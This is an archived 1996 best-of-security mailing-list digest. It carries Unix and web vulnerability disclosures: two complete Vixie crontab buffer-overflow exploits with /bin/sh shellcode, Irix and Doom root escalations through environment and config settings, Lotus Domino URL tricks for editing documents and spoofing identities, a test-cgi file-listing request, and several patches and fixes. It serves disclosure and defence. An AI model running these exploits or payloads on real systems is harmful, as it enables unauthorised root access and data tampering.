charset=US-ASCII Content-Transfer-Encoding: 7bit And then Bo went and said something like this: |Exploit: |This can be exploited in a few similar ways. SUID shell scripts are bad... but even just non-suid shell scripts called from SUID programs that don't properly massage their environment are bad news. Which reminds me, there's a bigger hole in Doom. It doesn't drop its root permissions soon enough! The user is allowed to set a sound server in his/her .doomrc. Normally, this is set to "sndserver". Howver, this can be set to *any* program, and that program runs as root!! Doom, as with any SVGAlib program, should call vga_init() as the first line of main(). It doesn't, and that's bad. SVGAlib gets a lot of bad press because of the suid-root issue, but the real problem rests in poor coding of the client programs. I like DOOM, but it's port was sloppily done. --Joe -- :======= Joe Zbiciak =======: :- - im14u2c@bradley.edu - -: "Ohm, ohm on the range, : - - - - - http: - - - - - : where the amps and inductances play..." ://ee1.bradley.edu/~im14u2c/: :======= DISCLAIMER: =======: :--- I could be wrong, ---: :======= but I'm not.=======: (731:835 2:15) ------------------------------ Date: Mon, 16 Dec 1996 10:08:07 -0500 From: "Matthew Aldous" To: best-of-security@suburbia.net Subject: BoS: spot the potential Message-Id: <9612161008.ZM1953@discovery.mhri.edu.au> Content-Type: text/plain; charset=us-ascii Just when you thought it was safe to point 'n click - I just found this in my backlog of comp.risks stuff, and I thought I'd just mention it here, for those who missed it. I'm now more anti billy boy than ever. ojnk. spot the potential. ------------------------------------------------------------------------------ http://www.microsoft.com/java/sdk/getstart/javac007.htm : Updating the Java Support on a User's Machine If you are placing an applet that uses COM on an HTML page accessible from the Internet, you must ensure that any users who encounter that page have a version of the Java Support for Internet Explorer that fully supports Java/COM integration. To do this, you must insert the following tag on the HTML page containing your applet (or on the introductory page of your Web site): This tag causes the user's Internet Explorer to check the version of its Java support. If the version installed on the user's machine is not up-to-date, Internet Explorer downloads the latest version of Java support from http://www.microsoft.com and updates the user's machine. ------------------------------------------------------------------------------ -- ------------------------------------------------------------------------------- "System Administration: It's a dirty job, but someone said I had to do it." Matthew Aldous : 019339629 : mda@mhri.edu.au : Mental Health Research Institute ------------------------------------------------------------------------------- ------------------------------ Date: Mon, 16 Dec 1996 04:41:28 +0100 (MET) From: Juergen Lock To: best-of-security@suburbia.net Cc: hackers@freebsd.org Subject: BoS: ping o'death, variation on a theme... and less deadly things (bisdn) Message-Id: <199612160341.EAA02143@saturn.hb.north.de> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit And you thoght BSD's ip is immune to those right? :) I still haven't got around tracking this down further but here is what happens: 2.1.6-stable kernel with bisdn-0.97 and bpf, start tcpdump -i ipi0 then send it a 32k ping from the other end (a dos ka9q + ispa in this case). you see the fragments coming in and then it dies, apparently having overwritten the stack trying to copy the entire(?) outgoing packet to bpf. Also the bisdntrc didnt start properly with the included start_if script, this is what i'm using now: (and its running just perfect as long as i leave bpf alone. i like it!) Index: sys-i386-isa/teles.c @@ -563,6 +563,10 @@ chan_t *chan = &sc->sc_chan[c]; caddr_t hscx = chan->hscx; + /* tel_init gets called from all over the place. We don't want an */ + /* interrupt to occur in the middle of changing these pointers */ + /* mask all interrupts */ + (*sc->put)(hscx, 0x20, 0xff); /* MASK */ if (chan->obuf) m_freem(chan->obuf); if (chan->ibuf) Index: sys-bisdn/b_isdnipi.c @@ -444,6 +444,7 @@ register struct mbuf *m1 = m; register u_char *cp = bpfbuf; + u_int left = sizeof(bpfbuf) - 4; u_int af = dst->sa_family; /* prepend the address family to bpf buffer */ @@ -455,10 +456,12 @@ { register int mlen = m1->m_len; + if (mlen > left) + mlen = left; bcopy(mtod(m1, caddr_t), cp, mlen); cp += mlen; len += mlen; - } while((m1 = m1->m_next) != NULL); + } while((m1 = m1->m_next) != NULL && left > 0); } #endif /* NBPFILTER */ Index: bisdntrc/bisdntrc.c @@ -148,7 +148,23 @@ } } +#if 1 + if((setvbuf(stdout, (char *)NULL, _IOLBF, 0)) != 0) + { + char buffer[80]; + + sprintf(buffer, "Error setting stdout to line-buffered"); + perror(buffer); + exit(1); + } + if (signal(SIGHUP, catchsig) == SIG_IGN) { + /* write(1, "signal(SIGHUP, SIG_IGN)\n", + sizeof "signal(SIGHUP, SIG_IGN)\n" - 1); */ + signal(SIGHUP, SIG_IGN); + }; +#else (void) signal(SIGHUP, catchsig); +#endif (void) signal(SIGTERM, catchsig); (void) signal(SIGKILL, catchsig); (void) signal(SIGINT, catchsig); Index: etc/start_if.ipi0 @@ -1,3 +1,4 @@ +#! /bin/sh #--------------------------------------------------------------------------- # # /etc/start_if.ipi0 - startup script for bisdn daemon @@ -10,7 +11,8 @@ # output device for fullscreen mode out_dev=/dev/ttyv6 # terminal type for fullscreen mode -out_typ=pcvt25h +#out_typ=pcvt25h +out_typ=cons25 # enable lowlevel ISDN tracing isdn_trace=YES @@ -18,10 +20,10 @@ echo '---------- enter /etc/start_if.ipi0 -----------------------------------' -if [ -f /etc/rc.ipfw ] -then - sh /etc/rc.ipfw -fi +#if [ -f /etc/rc.ipfw ] +#then +# sh /etc/rc.ipfw +#fi # start the isdn daemon if [ -x /usr/local/bin/bisdnd ] @@ -36,7 +38,8 @@ if [ -x /usr/local/bin/bisdntrc -a X${isdn_trace} = X"YES" ] then echo 'starting ISDN tracing ...' - nohup /usr/local/bin/bisdntrc -n4 -r -o/tmp/isdn.trace >/dev/null 2>&1 & + #nohup /usr/local/bin/bisdntrc -n4 -r -o/tmp/isdn.trace >/dev/null 2>&1 & + (cd /etc/bisdn; sh -c 'nohup /usr/local/bin/bisdntrc -n4 -r >>/var/log/bisdn/isdn.trace 2>&1 &') sleep 1 fi thanx + cheers, Juergen ------------------------------ Date: Sun, 15 Dec 1996 14:19:50 -0500 From: Wolfgang Rankl <106441.2526@CompuServe.COM> To: best-of-security@suburbia.net Subject: BoS: Smart Card Simulator for PC (Free) Message-ID: <199612151420_MC1-D1D-A5AA@compuserve.com> Hi all, I had developed a software for the simulation of smart cards. The simulator is a program for Win 3.1/95 (Win95 preferred) simulating a terminal and a smart card. Neither a smart card nor a smart card terminal is necessary. Just install the software on your PC and start working with smart cards. With this software you can see "into" the smart card, create files, send commands and receive the response from the smart card. The Smart Card Simulator offers a wide variety of possibilities to learn and work with a smart card. It can be used to understand and to learn the principles of a smart card, design and test a smart card application etc. Some of the features in an rough overview: * send and receive messages to and from the simulated smart card * design and develop a prototype smart card application independent of a smart card manufacturer * professional and powerful user interface not only for experts but for laymen as well * learn the principles of the smart card technology * create Elementary Files (EFs) with binary or linear fixed structure * context sensitive help line for quickly learning how to work with smart cards * file tree for the smart card, with the ability to see the file content, track the actually selected file and record, see and change the access conditions to the EFs * command set along and compatible to ISO/IEC 7816-4 Profile M (READ BINARY, UPDATE BINARY, READ RECORD, UPDATE RECORD, SELECT) * supports two languages (English and German) The Smart Card Simulator is free and you can get it at: http://www.hanser.de/c/42csmc01.htm Thank you for your time, Merry Christmas, a Happy New Year and Goodbye - Wolfgang Rankl PS: comments and ideas to my smart card simulator project are always welcome ----------------------------------- Wolfgang Rankl Munich, Germany email: 106441.2526@compuserve.com ----------------------------------- ------------------------------ Date: Sun, 15 Dec 1996 19:25:53 -0500 From: "Dave G." To: best-of-security@suburbia.net Subject: BoS: vixie-crontab for redhat linux Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII /* vixie crontab buffer overflow for RedHat Linux * * I dont think too many people know that redhat uses vixie crontab. * I didn't find this, just exploited it. * * * Dave G. * * http://www.escape.com/~daveg * * */ #include #include #include #include #include #define DEFAULT_OFFSET -1240 #define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */ #define HAPPY_FILE "./Window" long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { int fd; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; /* * The sscanf line reads for 'name' as %[^ =]. Neither a space, nor * a '=' character appears below */ int i; int ofs = DEFAULT_OFFSET; /* if we have a argument, use it as offset, else use default */ if(argc == 2) ofs = atoi(argv[1]); else if (argc > 2) { fprintf(stderr, "egg [offset]\n"); exit(-1); } /* print the offset in use */ printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (878/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr++ = '='; *ptr++ = 'X'; *ptr++ = '\n'; *ptr = 0; printf("Writing to %s\n", HAPPY_FILE); fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666); write (fd, buff, strlen(buff)); close(fd); execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); /* Successful completion */ exit(0); } ------------------------------ Date: 15 Dec 1996 12:59:54 -0000 From: olaf@bigred.inka.de (Olaf Titz) To: best-of-security@suburbia.net Cc: submit-linux-dev-svgalib@ratatosk.yggdrasil.com Subject: BoS: Re: Linux: exploit for killmouse. Message-ID: <19961215125954.15302.qmail@bigred.inka.de> > Doom, as with any SVGAlib program, should call vga_init() as the first > line of main(). It doesn't, and that's bad. SVGAlib gets a lot of > bad press because of the suid-root issue, but the real problem rests > in poor coding of the client programs. I like DOOM, but it's port was > sloppily done. SVGAlib programs shouldn't need to be installed with privileges (i.e. setuid root) in the first place. A possible solution is to use a wrapper like in . This file is dated March 28, 1994; I just came across an svgalib program dated from summer 1996 that still said in capital letters "you MUST run this setuid root". Of course, I don't run it setuid root and it works perfectly. ;-) The problem is not only with sloppy client coding, it is a general unawareness of the least privilege principle. Most SVGAlib programs do not _need_ root, so they should not _get_ root. Applications should usually not need root access in general. (Look at the recent SGI demo-program-deinstalling-itself problem, or the CD player exploits, etc.) The ioperm solution is not perfect; there really should be some way to avoid /dev/mem write access, but it eliminates the really stupid bugs. (Has anyone tried to run DOOM under ioperm?) olaf [Mod.: take this as a re-announce of a security-related tool ;-) CCd to the svgalib list, where discussion should take place] -- ___ Olaf.Titz@inka.de or @{stud,informatik}.uni-karlsruhe.de ____ __ o __/<_ >> Just as long as the wheels keep on turning round _)>(_)______________ I will live for the groove 'til the sun goes down << ____ ------------------------------ Date: Mon, 16 Dec 1996 07:14:16 -0500 (EST) From: Weld Pond To: best-of-security@suburbia.net Subject: BoS: Lotus Domino Advisory Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII L0pht Security Advisory Released December 12, 1996 Application: Lotus Domino 1.0, 1.5 Vulnerability Scope: Sites running Domino Severity: Data can be edited or deleted if permissions not set properly. Data can be entered using the identity of another user. Author: Weld Pond Scenario: Lotus Domino is a web interface which allows users to access Lotus Notes databases via HTTP. Many Domino sites on the Internet have incorrect permissions granted to anonymous or registered users. Some Domino web sites have relied on the design of their web pages to keep users from accessing the commands to edit and delete documents. This can be bypassed by editing the URL for the Domino web site. Once an edit form is obtained, it is possible to enter data under the identity of another user. Server side scripting associated with that document will be executed. Details: A Domino URL is broken into several parts. The IP address, the database path, an unknown ID (in hex), a document ID (in hex) and then the command. In the example below the command is OpenDocument http://199.99.99.99/database.nsf/e1466a8590/6048076233?OpenDocument (The hex strings have been shortened in this example. They are actually 32 chars each.) A Domino page for displaying a document may have hyperlinks that link to commands to edit or delete the document. We have found many web sites where these hyperlinks have been left out to keep users from editing the documents. You can edit the URL in your browser to recreate the links that have been left out. If the permissions on the document are not configured properly to deny edit permission or deny delete permission then you will be able to edit or delete the document. If the Domino site has permissions set to deny editing, you may still be presented with the edit form for the document. You will not be able to submit your edits however. Sometimes the edit form contains information not visible in the display version of the document. This is often the case since it is assumed that this page was inaccessible by not providing the edit link. To edit the document in the example above, replace the OpenDocument command at the end of the URL with EditDocument. To delete a document replace it with DeleteDocument. Examples: http://199.99.99.99/database.nsf/e146fa8590/6148076233?EditDocument http://199.99.99.99/database.nsf/e146fa8590/6148076233?DeleteDocument Assuming anothers identity You can assume the identity of another user by creating your own edit form by saving the HTML for an edit form for a document to your local disk, editing the document ID to that of a document created by another user, and submitting the new form from your browser. The new document will appear in Domino to be submitted by the assumed user. Get to an edit form by creating a new document or editting one of your own. Or, if you don't have permission, use one of the methods outlined above. Save this to disk. It will have a HTTP POST command in it like this:
(the hex values have been shortened from 32 characters) First add in the absolute address for the Domino site to the beginning of the URL like this: Replace the hex value before ?SaveDocument with the hex value from a document created by another user. This will appear in the URL to display another document as in the examples above. Save the file and load it into your browser. Now fill in the form and use the submit button. A new document will appear in the Domino database as entered by the assumed identity. L0pht maintains an archive of our security advisories on our web site at http://www.l0pht.com/advisories.html Weld Pond - weld@l0pht.com - http://www.l0pht.com/~weld L 0 p h t H e a v y I n d u s t r i e s Technical archives for the people - Bio/Electro/Crypto/Radio ------------------------------ Date: Mon, 16 Dec 1996 13:38:55 -0600 From: Yuri Volobuev To: best-of-security@suburbia.net Subject: BoS: Irix: scanners hole Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII Howdy, In an attempt to bring some fresh air into pretty monotonic line of Irix suid-related bugs, I decided to look at something unusual. I didn't know what "unusual" is, actually, but brief look at the list of suid binaries on my box somehow made me pick /usr/sbin/scanners. It's not part of Irix, it comes with Impressario package. Thus, there's a different development team and possibly new kinds of bugs. Unfortunately, latter is not true. The only news about the hole I found is that this bug is the lamest bug I found so far. It's the easiest to exploit. That is, if I had to hack a typical Irix box and was facing a difficult problem of making a choice, I'd choose this one. ABSTRACT /usr/sbin/scanners, GUI tool for scanners setup, root-suid, contains an ugly and easily exploitable bug that allows any local user to gain root priviledges. It's part of Impressario package. I'm not sure about the scope of the problem. The one that comes with Irix 5.3 is vulnerable, the one in 6.2 seems to be fixed. However, it seems like SGI is aware of this kind of vulnerability, so there may be a patch available. Quick check strings /usr/sbin/scanners | grep SGIHELPROOT if string is found, your system is probably vulnerable. FIX chmod u-s /usr/sbin/scanners If you are a busy person, move on to your next message now. Full story. It looks like this is just a leftover from an old SGI help flaw, the one they released patch for. I've never seen an exploit, though, and feel real lazy right now, so I didn't do any net search. Problem may not be new. If you know something about it, drop me a line please. All Irix GUI programs deal with help subsystem in a unified way, from what I can tell from looking at the file contents. /usr/sbin/scanners is an exception, perhaps it was linked to some older library, and because security is by far not the top SGI's concern it was left like this. Bug itself is pretty lame. scanners runs with uid=0 and euid=luserid, and doesn't change uid before calling sgihelp. And it's even more gullible than LicenceManager v1.0 -- it takes path for help program from SGIHELPROOT environment variable. So setting SGIHELPROOT to /tmp and putting something called sgihelp in /tmp, then running scanners and selecting any line in Help menu will execute this something as root. Pretty neat. Obviously, SGI is aware of the problem, because none of the other similar GUI tools interface with help subsystem this way. But somehow scanners was forgotten, or something. I've never seen a patch for it (which doesn't mean it doesn't exists, of course). cheers, yuri Always speaking for myself and only for myself P.S. Few people asked me to put all that Irix mess somewhere in one place on a web page. There are quite a few bugs, so it makes sense. However, since I'm so lazy I will probably never get to setting up one. So if you feel like doing it, go ahead. I'll be supplying comments and suggestions :) ------------------------------ Date: Mon, 16 Dec 1996 14:31:40 -0800 From: Joel McNamara To: best-of-security@suburbia.net Subject: BoS: Army Cryptanalysis manual online Message-Id: <3.0.32.19961216143128.00e39590@mail.eskimo.com> Content-Type: text/plain; charset="us-ascii" The US Army's Field Manual on Basic Cryptanalysis (FM 34-40-2), dated September 1990 is available for downloading as an Acrobat PDF file from: http://www.atsc-army.org/cgi-win/$atdl.exe/fm/34-40-2/default.htm Fairly classic in nature (substitution, transposition, and code systems). Huge files (so far, at 28.8, after about an hour and a half, I've only been able to grab the table of contents and a couple of appendices - some kind-hearted person with a T1 or greater may want to get everything, then zip and mirror to save us bandwidth challenged folks the pain). Also, for the complete listings of almost 300 downloadable FMs through the Army's Digital Training Library (ATDL), check out: http://www.atsc-army.org/cgi-win/$atdl.exe?type=fm&header=%2Fatdl%2Fbrowse%2 Ffm.htm Have fun! Joel Note: This site isn't wholly reliable. It seems to regularly go up and down, and sometimes the bandwidth is terrible. Probably worth your patience though. ------------------------------ Date: 16 Dec 1996 20:27:20 -0600 From: Alan Shutko To: best-of-security@suburbia.net Subject: BoS: Army Cryptanalysis manual online Message-ID: Content-Type: text/plain; charset=US-ASCII >>>>> "JM" == Joel McNamara writes: JM> couple of appendices - some kind-hearted person with a T1 or JM> greater may want to get everything, then zip and mirror to save us JM> bandwidth challenged folks the pain). ftp://hubert.wustl.edu/pub/armycryp.zip -- Alan Shutko - The Few, the Proud, the Remaining. Live from New York ... It's Saturday Night! ------------------------------ Date: Mon, 16 Dec 1996 18:36:37 -0600 From: kevin brintnall To: best-of-security@suburbia.net Subject: BoS: vixie-crontab for redhat linux Message-Id: <199612170036.SAA03522@mixer.visi.com> > /* vixie crontab buffer overflow for RedHat Linux > * > * I dont think too many people know that redhat uses vixie crontab. > * I didn't find this, just exploited it. > * > * > * Dave G. > * > * http://www.escape.com/~daveg > * > * > */ fwiw, BSD/OS and FreeBSD also use the Vixie cron subsystem. i have tested BSD/OS 2.1 and FreeBSD 2.2-ALPHA; both are vulnerable. i'll not post the assembler code and offsets - anyone clueful enough should be able to find them trivially. My temporary fix is: # chmod o-rwx /usr/bin/crontab # chgrp wheel /usr/bin/crontab of course, restricting crontab to trusted(?) users isn't the coolest thing to do, but it beats a root breach. kevin brintnall ; kbrint@visi.com network engineer, vector internet E3979560EF3E00B7 36D422A3C0F3741C ------------------------------ Date: Mon, 16 Dec 1996 22:24:14 -0800 (PST) From: David Neil To: best-of-security@suburbia.net Subject: BoS: Army Cryptanalysis manual online Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 16 Dec 1996, Joel McNamara wrote: > The US Army's Field Manual on Basic Cryptanalysis (FM 34-40-2), dated > September 1990 is available for downloading as an Acrobat PDF file from: > > http://www.atsc-army.org/cgi-win/$atdl.exe/fm/34-40-2/default.htm And now, ftp://ftp.europa.com/outgoing/theoe This is a fast mirror and I plan to keep it up until the north west corner of the united states gets EMP bombed, or my account expires: which ever one comes up first:) > Note: This site isn't wholly reliable. It seems to regularly go up and > down, and sometimes the bandwidth is terrible. Probably worth your > patience though. I think europa has multiple T1s and I know downtime is rare. -Opus The Micro$oft Corp. and its LEGAL software users software, hardware, and network devices, are _PROHIBITED_ from processing SUCH AS distributing, redistributing, computing, and VIEWING this work in any form such as in whole, part, force, or encrypted. A onetime-user license is is available to Micro$oft Corp. and its LEGAL software users for a fee of $50. Please contact Copyright Clearing House to make payment. PROCESSING WITHOUT PERMISSION CONSTITUTES AN AGREEMENT TO THESE TERMS. Feel free to redistribute this disclaimer such as in your own signature. theoe@europa.com. ------------------------------ Date: Tue, 17 Dec 1996 09:07:08 -0500 (EST) From: Who cares what the hell goes into a Gecos field anyway! To: best-of-security@suburbia.net cc: bugtraq@netspace.org, mudge@l0pht.com Subject: BoS: vixie cron intel BSD exploit code Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII Welp, we were meaning to get this out earlier but hey - things are busy lately. Since Kevin Brintnall brought up that BSD/OS and FreeBSD are also vulnerable but didn't want to post the code - we take it upon ourselves to do so. Sorry for sitting on this for so long... L0pht Security Advisory Advisory released Dec 17 1996 Application: crontab (Vixie crontab) Severity: any local user can gain root priveledges. Author: mudge@l0pht.com Scenario: Due to a problem with the code in crontab, a buffer overflow exists that allows a user to overwrite the information in a saved stack frame. When the function returns, the saved frame is popped off of the stack and user supplied code can be executed. Example: > id uid=621 (mudge) gid=200(users) > ./cronny -92 Using offset (0xefbfdbc8) # id uid=621 (mudge) euid=0(root) gid=200(users) Description: When crontab, a suid root program, is run with just a filename as it's only argument the argument is copied into the variable Filename[MAX_FNAME]. Since this copy is done via strcpy, no bounds checking is done on the length of the string being handed in. The code snippit from crontab.c is as follows: static char Filename[MAX_FNAME]; ... [ from parse_args(argc, argc) ] if (argv[optind] != NULL) { Option = opt_replace; (void) strcpy (Filename, argv[optind]); } By placing a sufficently sized string in argv[1] it is possible to overwrite the saved frame on the stack and, upon return from the routine execute machine codes of the users contruction. Solution: One fix to the above problem is to replace the strcpy() with strncpy(). if (argv[optind] != NULL) { Option = opt_replace; (void) strncpy(Filename, argv[optind], sizeof(Filename)); } However, this only takes care of _one_ of the exploitable buffer overflows in crontab. Finding and fixing the others is left as an excercise to the readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!] Gratuitous plug: OpenBSD has already fixed these problems in crontab around the date of the exploit code below, if not a ways before. Talk about an OS with pro-active security coders! Exploit code: /******************************************************************** * crontab buffer overflow code - mudge@l0pht.com * * 10/12/96 * * * * So I was sitting here thinking... I know, it's a dangerous thing * * and you ever notice that hackers seem to have a surplus of time * * on their hands? Well, I don't but hopefully if I keep coming out * * with things like this it will help to perpetuate the myth. * * * * There is a really cool buffer overflow in crond that bitwrior * * spotted. So I figured that since the same person, Paul Vixie, * * wrote crontab too that the same type of errors would probably be * * there. Sure enough! * * * * Ya gotta love command line overflows... just yank the code from * * any existing one and brute on the new program. This is almost * * verbatim from my modstat overflow. * * * * try with offsets of -92, -348, 164, 296, 351 with the way this * * is currently setup. If these fail, brute force it . * *******************************************************************/ #include #include long get_esp(void) { __asm__("movl %esp, %eax\n"); } main(int argc, char **argv) { int i, j, offset; char *bar, *foo; unsigned long *esp_plus = NULL; char mach_codes[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; if (argc == 2) offset = atoi(argv[1]); bar = malloc(4096); if (!bar){ fprintf(stderr, "failed to malloc memory\n"); exit(1); } foo = bar; /* copy of original ptr */ esp_plus = (long *)bar; for(i=0; i < 1024 ; i++) *(esp_plus++) = (get_esp() + offset); printf("Using offset (0x%x)\n", (get_esp() + offset)); bar = (char *)esp_plus; for(j=0; j< strlen(mach_codes); j++) *(bar++) = mach_codes[j]; *bar = 0; execl("/usr/bin/crontab", "crontab", foo, NULL); } mudge@l0pht.com --- http://www.l0pht.com/advisories.html --- ------------------------------ Date: Tue, 17 Dec 1996 12:24:32 +0300 From: Evgene Ilyine To: best-of-security@suburbia.net Subject: BoS: Re: Vulnerability in test-cgi Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 3 Dec 1996, Joe Zbiciak wrote: > string. Therefore it's still vulnerable in it's default configuration. > Adding "set -f" as the second line of the script closes the hole completely. Yes -- otherwise this hole would looks like a virus, here is anoter mutation: (268) telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. post /cgi-bin/nph-test-cgi http/1.0 Content-type: x Content-length: * .. skiped CONTENT_LENGTH = ( here you'll get a list of files) ============================================================= postmaster@spbu.ru Evgene Ilyine http://www.ptc.spbu.ru/~esi Work phone:428-4527 ============================================================= ------------------------------ Date: Tue, 17 Dec 1996 12:44:56 -0500 From: Robert Hettinga To: best-of-security@suburbia.net Subject: BoS: UPDATE: Financial Cryptography 1997 (FC97), Anguilla, BWI Message-Id: Content-Type: text/plain; charset="us-ascii" Financial Cryptography 1997 (FC97): The world's first financial cryptography conference, workshop, and exhibition. CONFERENCE UPDATE: December 13, 1997 (The Banker's Edition...) FC97 is sponsored by: The Journal for Internet Banking and Commerce Offshore Information Services e$ FC97 Conference and Exhibition, February 24-28, 1997 FC97 Workshop for Senior Managers and IS Professionals February 17-21, 1997 The Inter-Island Hotel Anguilla, BWI Conference Reservations: As previously announced, the world's first peer-reviewed conference on financial cryptography, FC97, will be held Monday through Friday, February 24-28, 1997, from 8:30am until 12:30pm, at the Inter-Island Hotel on the Carribbean island of Anguilla. In conjunction with the conference, the Inter-Island Hotel will also be the site of an intensive 40-hour workshop for senior managers and IS professionals during the week preceding the conference (February 17-21), and an exhibition for financial cryptography vendors, from 10am-6pm during the week of the conference itself. The goals of the combined conference, workshop, and exhibition are: -- to provide a peer-reviewed forum for important research in financial cryptography and the effects it will have on society, -- to give senior managers and IS professionals a solid understanding of the fundamentals of strong cryptgraphy as applied to financial operations on public networks, and, -- to showcase the newest products in financial cryptography. In addition, plenty of time has been left open in the afternoon and evening for sponsored corporate functions and activities, for business networking, and, of course, for recreational activities on Anguilla itself. Conference participants are encouraged to bring their families. The Conference Ray Hirschfeld, the conference chair, has picked an outstanding group of professionals and researchers in financial cryptography and in related fields to review the papers for this conference. They are: Chairman: Rafael Hirschfeld, CWI, Amsterdam, The Netherlands Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA Arjen Lenstra, Citibank, New York, NY, USA Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA Charles Merrill, McCarter & English, Newark, NJ, USA Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA Sholom Rosen, Citibank, New York, NY, USA Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA Some of the names may be recognizable to you. If they're not, included in that list are the inventor of Millicent, the project manager of EU's CAFE digital cash project, the holders of Citicorp's digital cash patent, two famous scholars in cryptography and digital commerce law, the President of International Association for Cryptologic Research, and the Chairman of the Taskforce on the Security of Electronic Money for the G-10 Central Banks. The actual agenda of the conference will be determined by the papers the program committee selects, so we won't have a final schedule for the conference until the middle of January. However, the conference committee is selecting papers in what it considers the union, and not the intersection, of the fields of finance and cryptography. The Final Call for Papers was issued a few weeks ago, and the submission process for papers is now closed. The committee chairman sends his thanks to all of you who submitted papers for consideration. Given the volume of submissions, and the quality of the authors, this inaugural conference should be a very interesting one indeed. To refresh your memory, the program committee solicited papers in the following topic areas: Anonymous Payments Fungibility Authentication Home Banking Communication Security Identification Conditional Access Implementations Copyright Protection Loss Tolerance Credit/Debit Cards Loyalty Mechanisms Currency Exchange Legal Aspects Digital Cash Micropayments Digital Receipts Network Payments Digital Signatures Privacy Issues Economic Implications Regulatory Issues Electronic Funds Transfer Smart Cards Electronic Purses Standards Electronic Voting Tamper Resistance Electronic Wallets Transferability Financial Cryptography '97 is held in cooperation with the International Association for Cryptologic Research. The conference proceedings will be published on the web by the Journal for Internet Banking and Commerce. . For further information on the submission process, which is, again, now closed, please see the program committee's web-page at . As we mentioned before, the conference will be covered by Wired Magazine, and will be the featured conference in it's January 1997 "Deductible Junkets" section. So, if you have already decided to come to FC97, please register and make your plane and hotel reservations as soon as possible. Conference, workshop, and exhibit space is extremely limited. Wired's January issue comes out near the end of December, and we expect there to be something of a rush at that time. The price of a pass to the conference sessions and exhibits is $1,000 U.S. You can pay for your FC97 conference ticket with Visa or MasterCard at the regstriation site: The price includes breakfast at the conference, some stipends for presenters who need them, and the logistics of having a professional conference with high-bandwidth internet connectivity in a location like Anguilla. In looking around, however, the conference organizers *did* notice that FC97 price is in keeping with other business and professional technology conferences of similar total session length. You can register, and pay for, your conference ticket at: The Exhibition Concurrent with the conference will be the the FC97 Exhibition, a small trade show for financial cryptography products and services. Each booth will have high bandwidth access to the internet, and will get 2 conference passes. Booth prices start at $5,000 US. Please contact Julie Rackliffe at for further information . As space is limited, please register as soon as possible if you plan to be there. The Workshop We are especially honored to have Ian Goldberg as the leader of the FC97 Workshop, which will run one week prior to the conference, February 17-21, 1997. Ian, the cryptographer at Berkeley who was made famous last year (in articles in both the Wall Street Journal and the New York Times) for breaking Netscape's transaction security protocols, will be running an intensive, 5-day workshop for senior managers and technology professionals. Someone likened it to a financial cryptography "boot-camp". While the workshop is still being developed, and will depend on the skills of the planned participants, workshop topics will include, but not be limited to: Overview and background of cryptography Survey of existing and proposed Internet payment systems Details on some specific payment systems Issues involved in setting up a secure Internet site A step-by-step walkthrough of setting up an ecash-enabled Web server. Ian has recruited a strong roster of instructors with credentials similar to his own, and, as he plans to maintain a 5-1 student/teacher ratio, the size of the workshop will be restricted and advance registration will be required. Further information about the workshop can be found at: The planned price for the workshop is $5,000. This covers lab space, hardware, network access, software, and, of course, 40 hours of instruction and structured lab activity. The lab itself will be open 24 hours a day, if demand warrants it. Sponsorship Opportunities FC97 offers sponsorship opportunities at all levels. Corporations are encouraged to to be an exclusive sponsor for lunch or dinner, each of which will be followed by a recreational activity of some kind. Sponsors will have the opportunity to permanently attach their name to these networking functions, which the organizers hope will be a large part of the conference experience. There are 10 such events being planned, and 10 corporations will be accepted for sponsorship. Corporate sponsors of these events will also get a substantial initial discount on exhibit space, and complimentary conference tickets. In-kind sponsorship is also available at all levels of support, with opportunities for companies to provide networking, bandwidth, hardware, radio pocket modems and equipment, as well as design and print services, transportation, and other things. If you've got it and you think we'll need it, please contact us. The sponsorship contact is Julie Rackliffe . Air Transportation and Hotels Air travel to Anguilla is typically done through San Juan, St. Thomas or St. Maarten/Martin. There are several non-stop flights a day from various US and European locations. Connection through to Anguilla can be made through American Eagle, or through LIAT. See your travel agent for details. American Eagle Airlines has agreed to increase their flights as needed to accomodate any extra traffic the conference brings to the island. Anguilla's runway is 3600 feet, with a displaced threshold of 600 feet, and can accomodate business jets. Obviously, you should talk to your aviation staff for details about your own aircraft's capabilities in this regard. Anguilla import duties are not imposed on hardware or software which will leave the island again, so, as long as you take it with you when you leave, you won't pay import duties. Hotels range from spartan to luxurious, and more information about hotels on Anquilla can be obtained from your travel agent, or at . 